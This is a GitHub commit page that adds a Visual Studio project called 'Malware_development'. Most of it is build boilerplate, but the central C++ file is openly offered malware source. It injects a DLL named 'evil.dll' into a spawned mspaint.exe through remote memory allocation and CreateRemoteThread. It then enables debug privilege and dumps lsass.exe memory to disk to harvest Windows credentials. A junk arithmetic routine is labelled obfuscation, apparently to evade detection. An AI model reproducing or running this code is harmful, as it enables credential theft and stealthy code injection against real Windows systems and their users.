Skip to content

Commit a0a80b3

Browse files
UserUser
User
authored and
User
committed
Добавьте файлы проекта.
1 parent 75fe968 commit a0a80b3

File tree

4 files changed

+380
-0
lines changed

4 files changed

+380
-0
lines changed

Malware_development.sln

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.33529.622
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Malware_development", "Malware_development\Malware_development.vcxproj", "{006AA719-5F50-4C14-84D9-88F7D8E077A9}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|x64 = Debug|x64
11+
Debug|x86 = Debug|x86
12+
Release|x64 = Release|x64
13+
Release|x86 = Release|x86
14+
EndGlobalSection
15+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
16+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x64.ActiveCfg = Debug|x64
17+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x64.Build.0 = Debug|x64
18+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x86.ActiveCfg = Debug|Win32
19+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Debug|x86.Build.0 = Debug|Win32
20+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x64.ActiveCfg = Release|x64
21+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x64.Build.0 = Release|x64
22+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x86.ActiveCfg = Release|Win32
23+
{006AA719-5F50-4C14-84D9-88F7D8E077A9}.Release|x86.Build.0 = Release|Win32
24+
EndGlobalSection
25+
GlobalSection(SolutionProperties) = preSolution
26+
HideSolutionNode = FALSE
27+
EndGlobalSection
28+
GlobalSection(ExtensibilityGlobals) = postSolution
29+
SolutionGuid = {9858D780-EFC8-4AA2-816E-31C5FD3270AD}
30+
EndGlobalSection
31+
EndGlobal
+180
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
#include <iostream>
2+
#include <windows.h>
3+
#include <stdio.h>
4+
#include <math.h>
5+
#include <string.h>
6+
#include <tlhelp32.h>
7+
#include <stdlib.h>
8+
#include <dbghelp.h>
9+
10+
#pragma comment(lib, "ntdll")
11+
#pragma comment(lib, "dbghelp.lib")
12+
13+
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMmemory)(
14+
HANDLE ProcessHandle,
15+
PVOID *BaseAddress,
16+
ULONG ZeroBits,
17+
PULONG RegionSize,
18+
ULONG AllocationType,
19+
ULONG Protect
20+
);
21+
22+
char maliciousLibraryPath[] = "evil.dll";
23+
unsigned int maliciousLibraryPathLength = sizeof(maliciousLibraryPath) + 1;
24+
25+
// find a process and return its id
26+
int locateTargetProcess(const char* targetProcName) {
27+
HANDLE hSnapshot;
28+
PROCESSENTRY32 processEntry;
29+
int pID = 0;
30+
BOOL hResult;
31+
32+
// snapshot of all processes in the system
33+
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
34+
if (INVALID_HANDLE_VALUE == hSnapshot) {
35+
return 0;
36+
}
37+
38+
//initializing size: needed for using Process32First
39+
processEntry.dwSize = sizeof(PROCESSENTRY32);
40+
41+
// info about first process encountred in a system snapshot
42+
hResult = Process32First(hSnapshot, &processEntry);
43+
44+
// retrieve information about the process
45+
// and exit if unsecussful
46+
size_t length = strlen(targetProcName) + 1;
47+
wchar_t wProcName[100];
48+
mbstowcs(wProcName, targetProcName, length);
49+
while (hResult) {
50+
// if we find the process: return process ID
51+
if (wcscmp(wProcName, processEntry.szExeFile) == 0) {
52+
pID = processEntry.th32ProcessID;
53+
break;
54+
}
55+
hResult = Process32Next(hSnapshot, &processEntry);
56+
}
57+
58+
CloseHandle(hSnapshot);
59+
return pID;
60+
}
61+
62+
// set privilege
63+
BOOL enablePrivilege(LPCTSTR privilegeName) {
64+
HANDLE processToken;
65+
TOKEN_PRIVILEGES tokenPrivileges;
66+
LUID privilegeLUID;
67+
BOOL result = TRUE;
68+
69+
if (!LookupPrivilegeValue(NULL, privilegeName, &privilegeLUID)) {
70+
result = FALSE;
71+
}
72+
tokenPrivileges.PrivilegeCount = 1;
73+
tokenPrivileges.Privileges[0].Luid = privilegeLUID;
74+
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
75+
76+
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &processToken)) {
77+
result = FALSE;
78+
}
79+
if (!AdjustTokenPrivileges(processToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
80+
result = FALSE;
81+
}
82+
return result;
83+
}
84+
85+
// create minidump of lsass.exe
86+
BOOL generateMinDump() {
87+
bool dumpSuccess = FALSE;
88+
int processID = locateTargetProcess("lsass.exe");
89+
HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
90+
HANDLE outputHandle = CreateFile((LPCTSTR)"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
91+
if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
92+
dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, (MINIDUMP_TYPE)0x00000002, NULL, NULL, NULL);
93+
}
94+
return dumpSuccess;
95+
}
96+
97+
98+
// obfuscation
99+
void MathOperations() {
100+
volatile int x = 0;
101+
x += 1;
102+
x -= 1;
103+
x *= 1;
104+
x /= 1;
105+
106+
double y = 2.5;
107+
double z = 3.7;
108+
double result = 0.0;
109+
110+
for (int i = 0; i < 3; i++) {
111+
result = sqrt(pow(y, 2) + pow(z, 2) + i);
112+
result = sin(result);
113+
result = cos(result);
114+
result = tan(result);
115+
}
116+
117+
for (int i = 0; i < 10; ++i) {
118+
result *= i;
119+
result /= i;
120+
result += i;
121+
}
122+
123+
if (result < 100) {
124+
result -= 100;
125+
} else{
126+
result += 100;
127+
}
128+
}
129+
130+
int main(int argc, char* argv[]){
131+
HANDLE targetProcess;
132+
HANDLE remoteThread;
133+
LPVOID remoteBuffer;
134+
135+
// Obtain handles to kernel32 and ntdll and retrieve function pointer
136+
HMODULE ntdllHandle = GetModuleHandle(L"ntdll");
137+
HMODULE kernel32Handle = GetModuleHandle(L"Kernel32");
138+
VOID* loadLibraryFunction = (VOID*)GetProcAddress(kernel32Handle, "LoadLibraryA");
139+
140+
STARTUPINFOA si;
141+
PROCESS_INFORMATION pi;
142+
ZeroMemory(&si, sizeof(STARTUPINFOA));
143+
si.cb = sizeof(STARTUPINFOA);
144+
const char* process = "mspaint.exe";
145+
CreateProcessA(NULL, (LPSTR)process, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
146+
int pid = -1;
147+
pid = locateTargetProcess(process);
148+
149+
MathOperations();
150+
151+
// Parse process ID
152+
if (pid <= 0) {
153+
return -1;
154+
}
155+
targetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
156+
157+
pNtAllocateVirtualMmemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMmemory)GetProcAddress(ntdllHandle, "NtAllocateVirtualMemory");
158+
159+
// Allocate memory buffer in the remote process
160+
myNtAllocateVirtualMemory(targetProcess, &remoteBuffer, 0, (PULONG)&maliciousLibraryPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
161+
162+
// Copy the malicious DLL path to the remote process
163+
WriteProcessMemory(targetProcess, remoteBuffer, maliciousLibraryPath, maliciousLibraryPathLength, NULL);
164+
165+
// Start a new thread in the target process
166+
remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryFunction, remoteBuffer, 0, NULL);
167+
CloseHandle(targetProcess);
168+
169+
MathOperations();
170+
171+
if (!enablePrivilege(SE_DEBUG_NAME)) {
172+
return -1;
173+
}
174+
if (!generateMinDump()) {
175+
return -1;
176+
}
177+
return 0;
178+
179+
}
180+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<Keyword>Win32Proj</Keyword>
24+
<ProjectGuid>{006aa719-5f50-4c14-84d9-88f7d8e077a9}</ProjectGuid>
25+
<RootNamespace>Malwaredevelopment</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>Application</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>Unicode</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>Application</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>true</WholeProgramOptimization>
40+
<CharacterSet>Unicode</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>Application</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v142</PlatformToolset>
46+
<CharacterSet>Unicode</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>Application</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v142</PlatformToolset>
52+
<WholeProgramOptimization>true</WholeProgramOptimization>
53+
<CharacterSet>Unicode</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
74+
<LinkIncremental>true</LinkIncremental>
75+
</PropertyGroup>
76+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
77+
<LinkIncremental>false</LinkIncremental>
78+
</PropertyGroup>
79+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
80+
<LinkIncremental>true</LinkIncremental>
81+
</PropertyGroup>
82+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
83+
<LinkIncremental>false</LinkIncremental>
84+
</PropertyGroup>
85+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
86+
<ClCompile>
87+
<WarningLevel>Level3</WarningLevel>
88+
<SDLCheck>true</SDLCheck>
89+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
90+
<ConformanceMode>true</ConformanceMode>
91+
</ClCompile>
92+
<Link>
93+
<SubSystem>Console</SubSystem>
94+
<GenerateDebugInformation>true</GenerateDebugInformation>
95+
</Link>
96+
</ItemDefinitionGroup>
97+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
98+
<ClCompile>
99+
<WarningLevel>Level3</WarningLevel>
100+
<FunctionLevelLinking>true</FunctionLevelLinking>
101+
<IntrinsicFunctions>true</IntrinsicFunctions>
102+
<SDLCheck>true</SDLCheck>
103+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104+
<ConformanceMode>true</ConformanceMode>
105+
</ClCompile>
106+
<Link>
107+
<SubSystem>Console</SubSystem>
108+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
109+
<OptimizeReferences>true</OptimizeReferences>
110+
<GenerateDebugInformation>true</GenerateDebugInformation>
111+
</Link>
112+
</ItemDefinitionGroup>
113+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114+
<ClCompile>
115+
<WarningLevel>Level3</WarningLevel>
116+
<SDLCheck>true</SDLCheck>
117+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118+
<ConformanceMode>true</ConformanceMode>
119+
</ClCompile>
120+
<Link>
121+
<SubSystem>Console</SubSystem>
122+
<GenerateDebugInformation>true</GenerateDebugInformation>
123+
</Link>
124+
</ItemDefinitionGroup>
125+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126+
<ClCompile>
127+
<WarningLevel>Level3</WarningLevel>
128+
<FunctionLevelLinking>true</FunctionLevelLinking>
129+
<IntrinsicFunctions>true</IntrinsicFunctions>
130+
<SDLCheck>true</SDLCheck>
131+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132+
<ConformanceMode>true</ConformanceMode>
133+
</ClCompile>
134+
<Link>
135+
<SubSystem>Console</SubSystem>
136+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
137+
<OptimizeReferences>true</OptimizeReferences>
138+
<GenerateDebugInformation>true</GenerateDebugInformation>
139+
</Link>
140+
</ItemDefinitionGroup>
141+
<ItemGroup>
142+
<ClCompile Include="Malware_development.cpp" />
143+
</ItemGroup>
144+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
145+
<ImportGroup Label="ExtensionTargets">
146+
</ImportGroup>
147+
</Project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="Исходные файлы">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="Файлы заголовков">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="Файлы ресурсов">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="Malware_development.cpp">
19+
<Filter>Исходные файлы</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
</Project>

0 commit comments

Comments
 (0)